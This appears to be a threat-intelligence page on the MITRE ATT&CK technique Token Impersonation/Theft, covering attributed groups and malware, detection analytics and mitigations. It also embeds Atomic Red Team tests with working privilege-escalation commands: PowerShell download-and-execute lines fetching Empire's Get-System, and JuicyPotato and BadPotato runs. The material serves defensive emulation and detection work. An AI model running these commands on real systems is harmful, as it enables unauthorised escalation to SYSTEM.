tfMITRE ATT&CK sub-technique

Token Impersonation/Theft T1134.001

sub-technique of T1134 Access Token Manipulation

Tactics: Privilege Escalation, Stealth
Platform: Windows
Version: 2.0
Created: 18 February 2020
Last modified: 12 May 2026
Contributor: Jonny Johnson

Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using DuplicateToken or DuplicateTokenEx.[1] The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups56th pct

Threat groups56th percentile · 56% of ATT&CK techniques have this many threat groups attributed or fewer.

Campaigns72nd pct

Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 20%

Tools & malware80th percentile · 80% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 16%

Detection rules84th percentile · 84% of ATT&CK techniques have this many detection rules written or fewer.

Token Impersonation/Theft MITRE reference T1134.001

56th pctamong all ATT&CK techniques for number of groups

2 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

FIN8G0061 ↗

Has used a malicious framework designed to impersonate the lsass.exe/vmtoolsd.exe token.1 2

created 2018-04-182 referencesaka Syssphinx

APT28G0007 ↗

Has used CVE-2015-1701 to access the SYSTEM token and copy it into the current process as part of privilege escalation.1

created 2017-05-311 referenceaka IRON TWILIGHT

All 2 groups for this technique

1 campaign has been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

HomeLand JusticeC0038 ↗

During HomeLand Justice, threat actors used custom tooling to acquire tokens using ImpersonateLoggedOnUser/SetThreadToken.1

2021–2022

All 1 campaigns for this technique

17 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

LP-NotesS9036 ↗

Has impersonated the security context of the taskhostw.exe process via the ImpersonateLoggedOnUser API.1

created 2026-04-21MALWAREcarried by 1 group

FooderS9033 ↗

Has used the DuplicateTokenEx API to duplicate the token of a specified process, and CreateProcessAsUserA to execute its payload.1      

created 2026-04-20MALWAREcarried by 1 group

HavocS1229 ↗

Has a module capable of token impersonation.1

created 2025-08-05MALWAREcarried by 1 group

BADHATCHS1081 ↗

Can impersonate a lsass.exe or vmtoolsd.exe token.1

created 2023-08-01MALWAREcarried by 1 group

TarraskS1011 ↗

Leverages token theft to obtain lsass.exe security permissions.1

created 2022-06-01MALWAREcarried by 1 group

SILENTTRINITYS0692 ↗

Can find a process owned by a specific user and impersonate the associated token.1

created 2022-03-23TOOL

All 17 software entries for this technique · 6 newest in this preview

Offense vs defense T1134.001

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 1Sigma rules (cumulative) · 10Splunk ESCU (cumulative) · 5

first rule: 2019 Q4 · 1 of 1 campaigns plotted

Token Impersonation/Theft detection strategy DET0482

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Behavior-chain detection for T1134.001 Access Token Manipulation: Token Impersonation/Theft on Windows

Enterprise

1 platform

AN1324 · Windows

Detection of token duplication and impersonation attempts by correlating suspicious command-line executions (e.g., runas) with API calls to DuplicateToken, DuplicateTokenEx, ImpersonateLoggedOnUser, or SetThreadToken. The chain includes the initial command execution or in-memory API invocation → token handle duplication or thread token assignment → a new or existing process assuming the impersonated user's context.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
OS API ExecutionDC0021	ETW:Token	api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken
Process CreationDC0032	WinEventLog:Security	EventCode=4688
Process AccessDC0035	WinEventLog:Sysmon	EventCode=10

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AllowedSystemProcesses	Whitelist of known processes that legitimately duplicate tokens (e.g., services.exe).
TimeWindow	Time interval between API call and subsequent impersonated process (e.g., 5m).
UserContextFilter	Filter for service accounts or known administrative accounts that perform legitimate impersonation.
ParentProcessAnomalyThreshold	Threshold for parent-child process lineage anomalies indicating token theft.

Privileged Account ManagementM1026

Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas.

User Account ManagementM1018

An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require.

Tests5ExecutorsPowerShell 5Need elevation4 of 5Have prerequisites3Have cleanup2Platformswindows

# Test Platform Executor Elevation Prereqs Cleanup Ref

01 Named pipe client impersonation windows PowerShell Required — —

Uses PowerShell and Empire's GetSystem module. The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context. When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM). Reference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/

Attack command

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose

GUIDc340260c-9ea9-4443-9349-46767c34be86

02 `SeDebugPrivilege` token duplication windows PowerShell Required — —

Uses PowerShell and Empire's GetSystem module. The script uses SeDebugPrivilege to obtain, duplicate and impersonate the token of a another process. When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).

Attack command

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose

GUIDad276c34-2214-46b8-92aa-e2663b2d11d3

03 Launch NSudo Executable windows PowerShell — 1 —

Launches the NSudo executable for a short period of time and then exits. NSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.

Input arguments

Name	Type	Default	Description
nsudo_path	path	PathToAtomicsFolder\T1134.001\bin\NSudoLG.exe	Path to the NSudoLG.exe file

Attack command

Start-Process "#{nsudo_path}" -Argument "-U:T -P:E cmd"
Start-Sleep -Second 5
Stop-Process -Name "cmd" -force -erroraction silentlycontinue

Prerequisite

NSudoLG.exe must exist in the specified path #{nsudo_path}

Check

if (Test-Path "#{nsudo_path}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" "https://github.com/M2Team/NSudo/releases/download/8.2/NSudo_8.2_All_Components.zip"
Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components" -Force
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe" "#{nsudo_path}"
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" -Recurse -ErrorAction Ignore
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components" -Recurse -ErrorAction Ignore

GUID463fd9da-2483-457a-9a5b-2d54eea49ba0

04 Bad Potato windows PowerShell Required 1 Yes

https://github.com/BeichenDream/BadPotato Privilege escalation using named pipe connections

Attack command

cd "PathToAtomicsFolder\..\ExternalPayloads"
Start-Process .\BadPotato.exe notepad.exe
Start-Sleep -Second 20
Stop-Process -Name "notepad" -force -erroraction silentlycontinue
Stop-Process -Name "BadPotato" -force -erroraction silentlycontinue

Cleanup command

taskkill /f /im notepad.exe

Prerequisite

BadPotato.exe must exist in the temp directory

Check

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\BadPotato.exe") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\BadPotato.exe" "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.001/bin/BadPotato.exe?raw=true"

GUID19e603f8-b74c-4f4b-a16f-b0506818b53e

05 Juicy Potato windows PowerShell Required 1 Yes

This Atomic utilizes Juicy Potato to obtain privilege escalation. Upon successful execution of this test, a vulnerable CLSID will be used to execute a process with system permissions. This tactic has been previously observed in SnapMC Ransomware, amongst numerous other campaigns. Reference

Input arguments

Name	Type	Default	Description
target_exe	path	$env:windir\system32\notepad.exe	Target executable to launch with system privileges
potato_path	path	PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe	Path to the JuicyPotato.exe file
target_CLSID	string	{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}	Vulnerable CLSID to impersonate privileges
listening_port	integer	7777	COM server listen port

Attack command

cmd /c '#{potato_path}' -l '#{listening_port}' -t * -p '#{target_exe}' -c '#{target_CLSID}'

Cleanup command

get-ciminstance Win32_Process | where-object { $_.Path -eq "#{target_exe}" } | invoke-cimmethod -methodname "terminate" | out-null
get-ciminstance Win32_Process | where-object { $_.Path -eq "#{potato_path}" } | invoke-cimmethod -methodname "terminate" | out-null

Prerequisite

JuicyPotato.exe must exist on disk

Check

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe" "https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe"

GUID75bdb289-3795-4247-a4cf-a7d99307fe3a

Tests from Atomic Red Team (MIT licence) · technique definition

Token Impersonation/Theft detections T1134.001

15 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 16%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs